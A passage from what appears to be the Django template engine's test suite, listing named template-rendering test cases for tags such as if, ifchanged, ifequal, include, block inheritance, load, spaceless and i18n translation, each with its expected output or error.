            'if-tag-not34': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not35': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            # Various syntax errors
            'if-tag-error01': (""{% if %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error02': (""{% if foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error03': (""{% if foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error04': (""{% if not foo and %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error05': (""{% if not foo or %}yes{% else %}no{% endif %}"", {'foo': True}, template.TemplateSyntaxError),
            'if-tag-error06': (""{% if abc def %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error07': (""{% if not %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error08': (""{% if and %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error09': (""{% if or %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error10': (""{% if == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error11': (""{% if 1 == %}yes{% endif %}"", {}, template.TemplateSyntaxError),
            'if-tag-error12': (""{% if a not b %}yes{% endif %}"", {}, template.TemplateSyntaxError),

            # If evaluations are shortcircuited where possible
            # If is_bad is invoked, it will raise a ShouldNotExecuteException
            'if-tag-shortcircuit01': ('{% if x.is_true or x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""yes""),
            'if-tag-shortcircuit02': ('{% if x.is_false and x.is_bad %}yes{% else %}no{% endif %}', {'x': TestObj()}, ""no""),

            # Non-existent args
            'if-tag-badarg01':(""{% if x|default_if_none:y %}yes{% endif %}"", {}, ''),
            'if-tag-badarg02':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 0}, ''),
            'if-tag-badarg03':(""{% if x|default_if_none:y %}yes{% endif %}"", {'y': 1}, 'yes'),
            'if-tag-badarg04':(""{% if x|default_if_none:y %}yes{% else %}no{% endif %}"", {}, 'no'),

            # Additional, more precise parsing tests are in SmartIfTests

            ### IFCHANGED TAG #########################################################
            'ifchanged01': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,2,3)}, '123'),
            'ifchanged02': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,3)}, '13'),
            'ifchanged03': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% endfor %}', {'num': (1,1,1)}, '1'),
            'ifchanged04': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 2, 3), 'numx': (2, 2, 2)}, '122232'),
            'ifchanged05': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (1, 2, 3)}, '1123123123'),
            'ifchanged06': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2)}, '1222'),
            'ifchanged07': ('{% for n in num %}{% ifchanged %}{{ n }}{% endifchanged %}{% for x in numx %}{% ifchanged %}{{ x }}{% endifchanged %}{% for y in numy %}{% ifchanged %}{{ y }}{% endifchanged %}{% endfor %}{% endfor %}{% endfor %}', {'num': (1, 1, 1), 'numx': (2, 2, 2), 'numy': (3, 3, 3)}, '1233323332333'),
            'ifchanged08': ('{% for data in datalist %}{% for c,d in data %}{% if c %}{% ifchanged %}{{ d }}{% endifchanged %}{% endif %}{% endfor %}{% endfor %}', {'datalist': [[(1, 'a'), (1, 'a'), (0, 'b'), (1, 'c')], [(0, 'a'), (1, 'c'), (1, 'd'), (1, 'd'), (0, 'e')]]}, 'accd'),

            # Test one parameter given to ifchanged.
            'ifchanged-param01': ('{% for n in num %}{% ifchanged n %}..{% endifchanged %}{{ n }}{% endfor %}', { 'num': (1,2,3) }, '..1..2..3'),
            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
